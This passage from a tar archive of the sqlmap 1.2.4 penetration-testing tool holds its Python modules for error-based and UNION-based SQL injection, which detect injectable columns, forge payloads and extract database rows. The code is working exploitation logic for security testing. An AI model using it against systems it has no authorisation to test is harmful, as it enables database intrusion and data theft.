�������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/lib/techniques/error/������������������������������������������������������������������0000775�0000000�0000000�00000000000�13260122637�0017064�5����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/lib/techniques/error/__init__.py�������������������������������������������������������0000664�0000000�0000000�00000000222�13260122637�0021171�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ pass ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/lib/techniques/error/use.py������������������������������������������������������������0000664�0000000�0000000�00000047751�13260122637�0020250�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ import re import time from extra.safe2bin.safe2bin import safecharencode from lib.core.agent import agent from lib.core.bigarray import BigArray from lib.core.common import Backend from lib.core.common import calculateDeltaSeconds from lib.core.common import dataToStdout from lib.core.common import decodeHexValue from lib.core.common import extractRegexResult from lib.core.common import getConsoleWidth from lib.core.common import getPartRun from lib.core.common import getUnicode from lib.core.common import hashDBRetrieve from lib.core.common import hashDBWrite from lib.core.common import incrementCounter from lib.core.common import initTechnique from lib.core.common import isListLike from lib.core.common import isNumPosStrValue from lib.core.common import listToStrValue from lib.core.common import readInput from lib.core.common import unArrayizeValue from lib.core.common import wasLastResponseHTTPError from lib.core.convert import hexdecode from lib.core.convert import htmlunescape from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.data import queries from lib.core.dicts import FROM_DUMMY_TABLE from lib.core.enums import DBMS from lib.core.enums import HASHDB_KEYS from lib.core.enums import HTTP_HEADER from lib.core.exception import SqlmapDataException from lib.core.settings import CHECK_ZERO_COLUMNS_THRESHOLD from lib.core.settings import MIN_ERROR_CHUNK_LENGTH from lib.core.settings import MAX_ERROR_CHUNK_LENGTH from lib.core.settings import NULL from lib.core.settings import PARTIAL_VALUE_MARKER from lib.core.settings import ROTATING_CHARS from lib.core.settings import SLOW_ORDER_COUNT_THRESHOLD from lib.core.settings import SQL_SCALAR_REGEX from lib.core.settings import TURN_OFF_RESUME_INFO_LIMIT from lib.core.threads import getCurrentThreadData from lib.core.threads import runThreads from lib.core.unescaper import unescaper from lib.request.connect import Connect as Request from lib.utils.progress import ProgressBar def _oneShotErrorUse(expression, field=None, chunkTest=False): offset = 1 rotator = 0 partialValue = None threadData = getCurrentThreadData() retVal = hashDBRetrieve(expression, checkConf=True) if retVal and PARTIAL_VALUE_MARKER in retVal: partialValue = retVal = retVal.replace(PARTIAL_VALUE_MARKER, "") logger.info("resuming partial value: '%s'" % _formatPartialContent(partialValue)) offset += len(partialValue) threadData.resumed = retVal is not None and not partialValue if any(Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL)) and kb.errorChunkLength is None and not chunkTest and not kb.testMode: debugMsg = "searching for error chunk length..." logger.debug(debugMsg) current = MAX_ERROR_CHUNK_LENGTH while current >= MIN_ERROR_CHUNK_LENGTH: testChar = str(current % 10) testQuery = "%s('%s',%d)" % ("REPEAT" if Backend.isDbms(DBMS.MYSQL) else "REPLICATE", testChar, current) testQuery = "SELECT %s" % (agent.hexConvertField(testQuery) if conf.hexConvert else testQuery) result = unArrayizeValue(_oneShotErrorUse(testQuery, chunkTest=True)) if (result or "").startswith(testChar): if result == testChar * current: kb.errorChunkLength = current break else: result = re.search(r"\A\w+", result).group(0) candidate = len(result) - len(kb.chars.stop) current = candidate if candidate != current else current - 1 else: current = current / 2 if kb.errorChunkLength: hashDBWrite(HASHDB_KEYS.KB_ERROR_CHUNK_LENGTH, kb.errorChunkLength) else: kb.errorChunkLength = 0 if retVal is None or partialValue: try: while True: check = r"(?si)%s(?P<result>.*?)%s" % (kb.chars.start, kb.chars.stop) trimcheck = r"(?si)%s(?P<result>[^<\n]*)" % kb.chars.start if field: nulledCastedField = agent.nullAndCastField(field) if any(Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL)) and not any(_ in field for _ in ("COUNT", "CASE")) and kb.errorChunkLength and not chunkTest: extendedField = re.search(r"[^ ,]*%s[^ ,]*" % re.escape(field), expression).group(0) if extendedField != field: # e.g. MIN(surname) nulledCastedField = extendedField.replace(field, nulledCastedField) field = extendedField nulledCastedField = queries[Backend.getIdentifiedDbms()].substring.query % (nulledCastedField, offset, kb.errorChunkLength) # Forge the error-based SQL injection request vector = kb.injection.data[kb.technique].vector query = agent.prefixQuery(vector) query = agent.suffixQuery(query) injExpression = expression.replace(field, nulledCastedField, 1) if field else expression injExpression = unescaper.escape(injExpression) injExpression = query.replace("[QUERY]", injExpression) payload = agent.payload(newValue=injExpression) # Perform the request page, headers, _ = Request.queryPage(payload, content=True, raise404=False) incrementCounter(kb.technique) if page and conf.noEscape: page = re.sub(r"('|\%%27)%s('|\%%27).*?('|\%%27)%s('|\%%27)" % (kb.chars.start, kb.chars.stop), "", page) # Parse the returned page to get the exact error-based # SQL injection output output = reduce(lambda x, y: x if x is not None else y, ( extractRegexResult(check, page), extractRegexResult(check, threadData.lastHTTPError[2] if wasLastResponseHTTPError() else None), extractRegexResult(check, listToStrValue((headers[header] for header in headers if header.lower() != HTTP_HEADER.URI.lower()) if headers else None)), extractRegexResult(check, threadData.lastRedirectMsg[1] if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == threadData.lastRequestUID else None)), None ) if output is not None: output = getUnicode(output) else: trimmed = ( extractRegexResult(trimcheck, page) or extractRegexResult(trimcheck, threadData.lastHTTPError[2] if wasLastResponseHTTPError() else None) or extractRegexResult(trimcheck, listToStrValue((headers[header] for header in headers if header.lower() != HTTP_HEADER.URI.lower()) if headers else None)) or extractRegexResult(trimcheck, threadData.lastRedirectMsg[1] if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == threadData.lastRequestUID else None) ) if trimmed: if not chunkTest: warnMsg = "possible server trimmed output detected " warnMsg += "(due to its length and/or content): " warnMsg += safecharencode(trimmed) logger.warn(warnMsg) if not kb.testMode: check = r"(?P<result>[^<>\n]*?)%s" % kb.chars.stop[:2] output = extractRegexResult(check, trimmed, re.IGNORECASE) if not output: check = "(?P<result>[^\s<>'\"]+)" output = extractRegexResult(check, trimmed, re.IGNORECASE) else: output = output.rstrip() if any(Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL)): if offset == 1: retVal = output else: retVal += output if output else '' if output and kb.errorChunkLength and len(output) >= kb.errorChunkLength and not chunkTest: offset += kb.errorChunkLength else: break if output and conf.verbose in (1, 2) and not conf.api: if kb.fileReadMode: dataToStdout(_formatPartialContent(output).replace(r"\n", "\n").replace(r"\t", "\t")) elif offset > 1: rotator += 1 if rotator >= len(ROTATING_CHARS): rotator = 0 dataToStdout("\r%s\r" % ROTATING_CHARS[rotator]) else: retVal = output break except: if retVal is not None: hashDBWrite(expression, "%s%s" % (retVal, PARTIAL_VALUE_MARKER)) raise retVal = decodeHexValue(retVal) if conf.hexConvert else retVal if isinstance(retVal, basestring): retVal = htmlunescape(retVal).replace("<br>", "\n") retVal = _errorReplaceChars(retVal) if retVal is not None: hashDBWrite(expression, retVal) else: _ = "(?si)%s(?P<result>.*?)%s" % (kb.chars.start, kb.chars.stop) retVal = extractRegexResult(_, retVal) or retVal return safecharencode(retVal) if kb.safeCharEncode else retVal def _errorFields(expression, expressionFields, expressionFieldsList, num=None, emptyFields=None, suppressOutput=False): values = [] origExpr = None width = getConsoleWidth() threadData = getCurrentThreadData() for field in expressionFieldsList: output = None if field.startswith("ROWNUM "): continue if isinstance(num, int): origExpr = expression expression = agent.limitQuery(num, expression, field, expressionFieldsList[0]) if "ROWNUM" in expressionFieldsList: expressionReplaced = expression else: expressionReplaced = expression.replace(expressionFields, field, 1) output = NULL if emptyFields and field in emptyFields else _oneShotErrorUse(expressionReplaced, field) if not kb.threadContinue: return None if not suppressOutput: if kb.fileReadMode and output and output.strip(): print elif output is not None and not (threadData.resumed and kb.suppressResumeInfo) and not (emptyFields and field in emptyFields): status = "[%s] [INFO] %s: %s" % (time.strftime("%X"), "resumed" if threadData.resumed else "retrieved", output if kb.safeCharEncode else safecharencode(output)) if len(status) > width: status = "%s..." % status[:width - 3] dataToStdout("%s\n" % status) if isinstance(num, int): expression = origExpr values.append(output) return values def _errorReplaceChars(value): """ Restores safely replaced characters """ retVal = value if value: retVal = retVal.replace(kb.chars.space, " ").replace(kb.chars.dollar, "$").replace(kb.chars.at, "@").replace(kb.chars.hash_, "#") return retVal def _formatPartialContent(value): """ Prepares (possibly hex-encoded) partial content for safe console output """ if value and isinstance(value, basestring): try: value = hexdecode(value) except: pass finally: value = safecharencode(value) return value def errorUse(expression, dump=False): """ Retrieve the output of a SQL query taking advantage of the error-based SQL injection vulnerability on the affected parameter. """ initTechnique(kb.technique) abortedFlag = False count = None emptyFields = [] start = time.time() startLimit = 0 stopLimit = None value = None _, _, _, _, _, expressionFieldsList, expressionFields, _ = agent.getFields(expression) # Set kb.partRun in case the engine is called from the API kb.partRun = getPartRun(alias=False) if conf.api else None # We have to check if the SQL query might return multiple entries # and in such case forge the SQL limiting the query output one # entry at a time # NOTE: we assume that only queries that get data from a table can # return multiple entries if (dump and (conf.limitStart or conf.limitStop)) or (" FROM " in expression.upper() and ((Backend.getIdentifiedDbms() not in FROM_DUMMY_TABLE) or (Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and not expression.upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]))) and ("(CASE" not in expression.upper() or ("(CASE" in expression.upper() and "WHEN use" in expression))) and not re.search(SQL_SCALAR_REGEX, expression, re.I): expression, limitCond, topLimit, startLimit, stopLimit = agent.limitCondition(expression, dump) if limitCond: # Count the number of SQL query entries output countedExpression = expression.replace(expressionFields, queries[Backend.getIdentifiedDbms()].count.query % ('*' if len(expressionFieldsList) > 1 else expressionFields), 1) if " ORDER BY " in countedExpression.upper(): _ = countedExpression.upper().rindex(" ORDER BY ") countedExpression = countedExpression[:_] _, _, _, _, _, _, countedExpressionFields, _ = agent.getFields(countedExpression) count = unArrayizeValue(_oneShotErrorUse(countedExpression, countedExpressionFields)) if isNumPosStrValue(count): if isinstance(stopLimit, int) and stopLimit > 0: stopLimit = min(int(count), int(stopLimit)) else: stopLimit = int(count) infoMsg = "used SQL query returns " infoMsg += "%d entries" % stopLimit logger.info(infoMsg) elif count and not count.isdigit(): warnMsg = "it was not possible to count the number " warnMsg += "of entries for the SQL query provided. " warnMsg += "sqlmap will assume that it returns only " warnMsg += "one entry" logger.warn(warnMsg) stopLimit = 1 elif (not count or int(count) == 0): if not count: warnMsg = "the SQL query provided does not " warnMsg += "return any output" logger.warn(warnMsg) else: value = [] # for empty tables return value if isNumPosStrValue(count) and int(count) > 1: if " ORDER BY " in expression and (stopLimit - startLimit) > SLOW_ORDER_COUNT_THRESHOLD: message = "due to huge table size do you want to remove " message += "ORDER BY clause gaining speed over consistency? [y/N] " if readInput(message, default="N", boolean=True): expression = expression[:expression.index(" ORDER BY ")] numThreads = min(conf.threads, (stopLimit - startLimit)) threadData = getCurrentThreadData() try: threadData.shared.limits = iter(xrange(startLimit, stopLimit)) except OverflowError: errMsg = "boundary limits (%d,%d) are too large. Please rerun " % (startLimit, stopLimit) errMsg += "with switch '--fresh-queries'" raise SqlmapDataException(errMsg) threadData.shared.value = BigArray() threadData.shared.buffered = [] threadData.shared.counter = 0 threadData.shared.lastFlushed = startLimit - 1 threadData.shared.showEta = conf.eta and (stopLimit - startLimit) > 1 if threadData.shared.showEta: threadData.shared.progress = ProgressBar(maxValue=(stopLimit - startLimit)) if kb.dumpTable and (len(expressionFieldsList) < (stopLimit - startLimit) > CHECK_ZERO_COLUMNS_THRESHOLD): for field in expressionFieldsList: if _oneShotErrorUse("SELECT COUNT(%s) FROM %s" % (field, kb.dumpTable)) == '0': emptyFields.append(field) debugMsg = "column '%s' of table '%s' will not be " % (field, kb.dumpTable) debugMsg += "dumped as it appears to be empty" logger.debug(debugMsg) if stopLimit > TURN_OFF_RESUME_INFO_LIMIT: kb.suppressResumeInfo = True debugMsg = "suppressing possible resume console info because of " debugMsg += "large number of rows. It might take too long" logger.debug(debugMsg) try: def errorThread(): threadData = getCurrentThreadData() while kb.threadContinue: with kb.locks.limit: try: valueStart = time.time() threadData.shared.counter += 1 num = threadData.shared.limits.next() except StopIteration: break output = _errorFields(expression, expressionFields, expressionFieldsList, num, emptyFields, threadData.shared.showEta) if not kb.threadContinue: break if output and isListLike(output) and len(output) == 1: output = output[0] with kb.locks.value: index = None if threadData.shared.showEta: threadData.shared.progress.progress(time.time() - valueStart, threadData.shared.counter) for index in xrange(1 + len(threadData.shared.buffered)): if index < len(threadData.shared.buffered) and threadData.shared.buffered[index][0] >= num: break threadData.shared.buffered.insert(index or 0, (num, output)) while threadData.shared.buffered and threadData.shared.lastFlushed + 1 == threadData.shared.buffered[0][0]: threadData.shared.lastFlushed += 1 threadData.shared.value.append(threadData.shared.buffered[0][1]) del threadData.shared.buffered[0] runThreads(numThreads, errorThread) except KeyboardInterrupt: abortedFlag = True warnMsg = "user aborted during enumeration. sqlmap " warnMsg += "will display partial output" logger.warn(warnMsg) finally: threadData.shared.value.extend(_[1] for _ in sorted(threadData.shared.buffered)) value = threadData.shared.value kb.suppressResumeInfo = False if not value and not abortedFlag: value = _errorFields(expression, expressionFields, expressionFieldsList) if value and isListLike(value) and len(value) == 1 and isinstance(value[0], basestring): value = value[0] duration = calculateDeltaSeconds(start) if not kb.bruteMode: debugMsg = "performed %d queries in %.2f seconds" % (kb.counters[kb.technique], duration) logger.debug(debugMsg) return value �����������������������sqlmap-1.2.4/lib/techniques/union/������������������������������������������������������������������0000775�0000000�0000000�00000000000�13260122637�0017063�5����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/lib/techniques/union/__init__.py�������������������������������������������������������0000664�0000000�0000000�00000000222�13260122637�0021170�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ pass ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/lib/techniques/union/test.py�����������������������������������������������������������0000664�0000000�0000000�00000035141�13260122637�0020420�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ import logging import random import re from lib.core.agent import agent from lib.core.common import average from lib.core.common import Backend from lib.core.common import isNullValue from lib.core.common import listToStrValue from lib.core.common import popValue from lib.core.common import pushValue from lib.core.common import randomInt from lib.core.common import randomStr from lib.core.common import readInput from lib.core.common import removeReflectiveValues from lib.core.common import singleTimeLogMessage from lib.core.common import singleTimeWarnMessage from lib.core.common import stdev from lib.core.common import wasLastResponseDBMSError from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.dicts import FROM_DUMMY_TABLE from lib.core.enums import PAYLOAD from lib.core.settings import LIMITED_ROWS_TEST_NUMBER from lib.core.settings import UNION_MIN_RESPONSE_CHARS from lib.core.settings import UNION_STDEV_COEFF from lib.core.settings import MIN_RATIO from lib.core.settings import MAX_RATIO from lib.core.settings import MIN_STATISTICAL_RANGE from lib.core.settings import MIN_UNION_RESPONSES from lib.core.settings import NULL from lib.core.settings import ORDER_BY_STEP from lib.core.unescaper import unescaper from lib.request.comparison import comparison from lib.request.connect import Connect as Request def _findUnionCharCount(comment, place, parameter, value, prefix, suffix, where=PAYLOAD.WHERE.ORIGINAL): """ Finds number of columns affected by UNION based injection """ retVal = None def _orderByTechnique(lowerCount, upperCount): def _orderByTest(cols): query = agent.prefixQuery("ORDER BY %d" % cols, prefix=prefix) query = agent.suffixQuery(query, suffix=suffix, comment=comment) payload = agent.payload(newValue=query, place=place, parameter=parameter, where=where) page, headers, code = Request.queryPage(payload, place=place, content=True, raise404=False) return not any(re.search(_, page or "", re.I) and not re.search(_, kb.pageTemplate or "", re.I) for _ in ("(warning|error):", "order by", "unknown column", "failed")) and not kb.heavilyDynamic and comparison(page, headers, code) or re.search(r"data types cannot be compared or sorted", page or "", re.I) is not None if _orderByTest(1 if lowerCount is None else lowerCount) and not _orderByTest(randomInt() if upperCount is None else upperCount + 1): infoMsg = "'ORDER BY' technique appears to be usable. " infoMsg += "This should reduce the time needed " infoMsg += "to find the right number " infoMsg += "of query columns. Automatically extending the " infoMsg += "range for current UNION query injection technique test" singleTimeLogMessage(infoMsg) lowCols, highCols = 1 if lowerCount is None else lowerCount, ORDER_BY_STEP if upperCount is None else upperCount found = None while not found: if not conf.uCols and _orderByTest(highCols): lowCols = highCols highCols += ORDER_BY_STEP else: while not found: mid = highCols - (highCols - lowCols) / 2 if _orderByTest(mid): lowCols = mid else: highCols = mid if (highCols - lowCols) < 2: found = lowCols return found try: pushValue(kb.errorIsNone) items, ratios = [], [] kb.errorIsNone = False lowerCount, upperCount = conf.uColsStart, conf.uColsStop if lowerCount == 1 or conf.uCols: found = kb.orderByColumns or _orderByTechnique(lowerCount, upperCount) if found: kb.orderByColumns = found infoMsg = "target URL appears to have %d column%s in query" % (found, 's' if found > 1 else "") singleTimeLogMessage(infoMsg) return found if abs(upperCount - lowerCount) < MIN_UNION_RESPONSES: upperCount = lowerCount + MIN_UNION_RESPONSES min_, max_ = MAX_RATIO, MIN_RATIO pages = {} for count in xrange(lowerCount, upperCount + 1): query = agent.forgeUnionQuery('', -1, count, comment, prefix, suffix, kb.uChar, where) payload = agent.payload(place=place, parameter=parameter, newValue=query, where=where) page, headers, code = Request.queryPage(payload, place=place, content=True, raise404=False) if not isNullValue(kb.uChar): pages[count] = page ratio = comparison(page, headers, code, getRatioValue=True) or MIN_RATIO ratios.append(ratio) min_, max_ = min(min_, ratio), max(max_, ratio) items.append((count, ratio)) if not isNullValue(kb.uChar): for regex in (kb.uChar, r'>\s*%s\s*<' % kb.uChar): contains = tuple((count, re.search(regex, _ or "", re.IGNORECASE) is not None) for count, _ in pages.items()) if len(filter(lambda _: _[1], contains)) == 1: retVal = filter(lambda _: _[1], contains)[0][0] break if not retVal: if min_ in ratios: ratios.pop(ratios.index(min_)) if max_ in ratios: ratios.pop(ratios.index(max_)) minItem, maxItem = None, None for item in items: if item[1] == min_: minItem = item elif item[1] == max_: maxItem = item if all(_ == min_ and _ != max_ for _ in ratios): retVal = maxItem[0] elif all(_ != min_ and _ == max_ for _ in ratios): retVal = minItem[0] elif abs(max_ - min_) >= MIN_STATISTICAL_RANGE: deviation = stdev(ratios) if deviation is not None: lower, upper = average(ratios) - UNION_STDEV_COEFF * deviation, average(ratios) + UNION_STDEV_COEFF * deviation if min_ < lower: retVal = minItem[0] if max_ > upper: if retVal is None or abs(max_ - upper) > abs(min_ - lower): retVal = maxItem[0] finally: kb.errorIsNone = popValue() if retVal: infoMsg = "target URL appears to be UNION injectable with %d columns" % retVal singleTimeLogMessage(infoMsg, logging.INFO, re.sub(r"\d+", "N", infoMsg)) return retVal def _unionPosition(comment, place, parameter, prefix, suffix, count, where=PAYLOAD.WHERE.ORIGINAL): validPayload = None vector = None positions = range(0, count) # Unbiased approach for searching appropriate usable column random.shuffle(positions) for charCount in (UNION_MIN_RESPONSE_CHARS << 2, UNION_MIN_RESPONSE_CHARS): if vector: break # For each column of the table (# of NULL) perform a request using # the UNION ALL SELECT statement to test it the target URL is # affected by an exploitable union SQL injection vulnerability for position in positions: # Prepare expression with delimiters randQuery = randomStr(charCount) phrase = ("%s%s%s" % (kb.chars.start, randQuery, kb.chars.stop)).lower() randQueryProcessed = agent.concatQuery("\'%s\'" % randQuery) randQueryUnescaped = unescaper.escape(randQueryProcessed) # Forge the union SQL injection request query = agent.forgeUnionQuery(randQueryUnescaped, position, count, comment, prefix, suffix, kb.uChar, where) payload = agent.payload(place=place, parameter=parameter, newValue=query, where=where) # Perform the request page, headers, _ = Request.queryPage(payload, place=place, content=True, raise404=False) content = ("%s%s" % (removeReflectiveValues(page, payload) or "", removeReflectiveValues(listToStrValue(headers.headers if headers else None), payload, True) or "")).lower() if content and phrase in content: validPayload = payload kb.unionDuplicates = len(re.findall(phrase, content, re.I)) > 1 vector = (position, count, comment, prefix, suffix, kb.uChar, where, kb.unionDuplicates, False) if where == PAYLOAD.WHERE.ORIGINAL: # Prepare expression with delimiters randQuery2 = randomStr(charCount) phrase2 = ("%s%s%s" % (kb.chars.start, randQuery2, kb.chars.stop)).lower() randQueryProcessed2 = agent.concatQuery("\'%s\'" % randQuery2) randQueryUnescaped2 = unescaper.escape(randQueryProcessed2) # Confirm that it is a full union SQL injection query = agent.forgeUnionQuery(randQueryUnescaped, position, count, comment, prefix, suffix, kb.uChar, where, multipleUnions=randQueryUnescaped2) payload = agent.payload(place=place, parameter=parameter, newValue=query, where=where) # Perform the request page, headers, _ = Request.queryPage(payload, place=place, content=True, raise404=False) content = ("%s%s" % (page or "", listToStrValue(headers.headers if headers else None) or "")).lower() if not all(_ in content for _ in (phrase, phrase2)): vector = (position, count, comment, prefix, suffix, kb.uChar, where, kb.unionDuplicates, True) elif not kb.unionDuplicates: fromTable = " FROM (%s) AS %s" % (" UNION ".join("SELECT %d%s%s" % (_, FROM_DUMMY_TABLE.get(Backend.getIdentifiedDbms(), ""), " AS %s" % randomStr() if _ == 0 else "") for _ in xrange(LIMITED_ROWS_TEST_NUMBER)), randomStr()) # Check for limited row output query = agent.forgeUnionQuery(randQueryUnescaped, position, count, comment, prefix, suffix, kb.uChar, where, fromTable=fromTable) payload = agent.payload(place=place, parameter=parameter, newValue=query, where=where) # Perform the request page, headers, _ = Request.queryPage(payload, place=place, content=True, raise404=False) content = ("%s%s" % (removeReflectiveValues(page, payload) or "", removeReflectiveValues(listToStrValue(headers.headers if headers else None), payload, True) or "")).lower() if content.count(phrase) > 0 and content.count(phrase) < LIMITED_ROWS_TEST_NUMBER: warnMsg = "output with limited number of rows detected. Switching to partial mode" logger.warn(warnMsg) vector = (position, count, comment, prefix, suffix, kb.uChar, where, kb.unionDuplicates, True) unionErrorCase = kb.errorIsNone and wasLastResponseDBMSError() if unionErrorCase and count > 1: warnMsg = "combined UNION/error-based SQL injection case found on " warnMsg += "column %d. sqlmap will try to find another " % (position + 1) warnMsg += "column with better characteristics" logger.warn(warnMsg) else: break return validPayload, vector def _unionConfirm(comment, place, parameter, prefix, suffix, count): validPayload = None vector = None # Confirm the union SQL injection and get the exact column # position which can be used to extract data validPayload, vector = _unionPosition(comment, place, parameter, prefix, suffix, count) # Assure that the above function found the exploitable full union # SQL injection position if not validPayload: validPayload, vector = _unionPosition(comment, place, parameter, prefix, suffix, count, where=PAYLOAD.WHERE.NEGATIVE) return validPayload, vector def _unionTestByCharBruteforce(comment, place, parameter, value, prefix, suffix): """ This method tests if the target URL is affected by an union SQL injection vulnerability. The test is done up to 50 columns on the target database table """ validPayload = None vector = None # In case that user explicitly stated number of columns affected if conf.uColsStop == conf.uColsStart: count = conf.uColsStart else: count = _findUnionCharCount(comment, place, parameter, value, prefix, suffix, PAYLOAD.WHERE.ORIGINAL if isNullValue(kb.uChar) else PAYLOAD.WHERE.NEGATIVE) if count: validPayload, vector = _unionConfirm(comment, place, parameter, prefix, suffix, count) if not all((validPayload, vector)) and not all((conf.uChar, conf.dbms)): warnMsg = "if UNION based SQL injection is not detected, " warnMsg += "please consider " if not conf.uChar and count > 1 and kb.uChar == NULL: message = "injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n] " if not readInput(message, default="Y", boolean=True): warnMsg += "usage of option '--union-char' " warnMsg += "(e.g. '--union-char=1') " else: conf.uChar = kb.uChar = str(randomInt(2)) validPayload, vector = _unionConfirm(comment, place, parameter, prefix, suffix, count) if not conf.dbms: if not conf.uChar: warnMsg += "and/or try to force the " else: warnMsg += "forcing the " warnMsg += "back-end DBMS (e.g. '--dbms=mysql') " if not all((validPayload, vector)) and not warnMsg.endswith("consider "): singleTimeWarnMessage(warnMsg) return validPayload, vector def unionTest(comment, place, parameter, value, prefix, suffix): """ This method tests if the target URL is affected by an union SQL injection vulnerability. The test is done up to 3*50 times """ if conf.direct: return kb.technique = PAYLOAD.TECHNIQUE.UNION validPayload, vector = _unionTestByCharBruteforce(comment, place, parameter, value, prefix, suffix) if validPayload: validPayload = agent.removePayloadDelimiters(validPayload) return validPayload, vector �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/lib/techniques/union/use.py������������������������������������������������������������0000664�0000000�0000000�00000046455�13260122637�0020247�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ import binascii import re import time import xml.etree.ElementTree from extra.safe2bin.safe2bin import safecharencode from lib.core.agent import agent from lib.core.bigarray import BigArray from lib.core.common import arrayizeValue from lib.core.common import Backend from lib.core.common import calculateDeltaSeconds from lib.core.common import clearConsoleLine from lib.core.common import dataToStdout from lib.core.common import extractRegexResult from lib.core.common import flattenValue from lib.core.common import getConsoleWidth from lib.core.common import getPartRun from lib.core.common import getUnicode from lib.core.common import hashDBRetrieve from lib.core.common import hashDBWrite from lib.core.common import incrementCounter from lib.core.common import initTechnique from lib.core.common import isListLike from lib.core.common import isNoneValue from lib.core.common import isNumPosStrValue from lib.core.common import listToStrValue from lib.core.common import parseUnionPage from lib.core.common import removeReflectiveValues from lib.core.common import singleTimeDebugMessage from lib.core.common import singleTimeWarnMessage from lib.core.common import unArrayizeValue from lib.core.common import wasLastResponseDBMSError from lib.core.convert import htmlunescape from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.data import queries from lib.core.dicts import FROM_DUMMY_TABLE from lib.core.enums import DBMS from lib.core.enums import HTTP_HEADER from lib.core.enums import PAYLOAD from lib.core.exception import SqlmapDataException from lib.core.exception import SqlmapSyntaxException from lib.core.settings import MAX_BUFFERED_PARTIAL_UNION_LENGTH from lib.core.settings import NULL from lib.core.settings import SQL_SCALAR_REGEX from lib.core.settings import TURN_OFF_RESUME_INFO_LIMIT from lib.core.settings import UNICODE_ENCODING from lib.core.threads import getCurrentThreadData from lib.core.threads import runThreads from lib.core.unescaper import unescaper from lib.request.connect import Connect as Request from lib.utils.progress import ProgressBar from thirdparty.odict.odict import OrderedDict def _oneShotUnionUse(expression, unpack=True, limited=False): retVal = hashDBRetrieve("%s%s" % (conf.hexConvert or False, expression), checkConf=True) # as UNION data is stored raw unconverted threadData = getCurrentThreadData() threadData.resumed = retVal is not None if retVal is None: vector = kb.injection.data[PAYLOAD.TECHNIQUE.UNION].vector if not kb.rowXmlMode: injExpression = unescaper.escape(agent.concatQuery(expression, unpack)) kb.unionDuplicates = vector[7] kb.forcePartialUnion = vector[8] query = agent.forgeUnionQuery(injExpression, vector[0], vector[1], vector[2], vector[3], vector[4], vector[5], vector[6], None, limited) where = PAYLOAD.WHERE.NEGATIVE if conf.limitStart or conf.limitStop else vector[6] else: where = vector[6] query = agent.forgeUnionQuery(expression, vector[0], vector[1], vector[2], vector[3], vector[4], vector[5], vector[6], None, False) payload = agent.payload(newValue=query, where=where) # Perform the request page, headers, _ = Request.queryPage(payload, content=True, raise404=False) incrementCounter(PAYLOAD.TECHNIQUE.UNION) if not kb.rowXmlMode: # Parse the returned page to get the exact UNION-based # SQL injection output def _(regex): return reduce(lambda x, y: x if x is not None else y, (extractRegexResult(regex, removeReflectiveValues(page, payload), re.DOTALL | re.IGNORECASE), extractRegexResult(regex, removeReflectiveValues(listToStrValue((_ for _ in headers.headers if not _.startswith(HTTP_HEADER.URI)) if headers else None), payload, True), re.DOTALL | re.IGNORECASE)), None) # Automatically patching last char trimming cases if kb.chars.stop not in (page or "") and kb.chars.stop[:-1] in (page or ""): warnMsg = "automatically patching output having last char trimmed" singleTimeWarnMessage(warnMsg) page = page.replace(kb.chars.stop[:-1], kb.chars.stop) retVal = _("(?P<result>%s.*%s)" % (kb.chars.start, kb.chars.stop)) else: output = extractRegexResult(r"(?P<result>(<row.+?/>)+)", page) if output: try: root = xml.etree.ElementTree.fromstring("<root>%s</root>" % output.encode(UNICODE_ENCODING)) retVal = "" for column in kb.dumpColumns: base64 = True for child in root: value = child.attrib.get(column, "").strip() if value and not re.match(r"\A[a-zA-Z0-9+/]+={0,2}\Z", value): base64 = False break try: value.decode("base64") except binascii.Error: base64 = False break if base64: for child in root: child.attrib[column] = child.attrib.get(column, "").decode("base64") or NULL for child in root: row = [] for column in kb.dumpColumns: row.append(child.attrib.get(column, NULL)) retVal += "%s%s%s" % (kb.chars.start, kb.chars.delimiter.join(row), kb.chars.stop) except: pass else: retVal = getUnicode(retVal) if retVal is not None: retVal = getUnicode(retVal, kb.pageEncoding) # Special case when 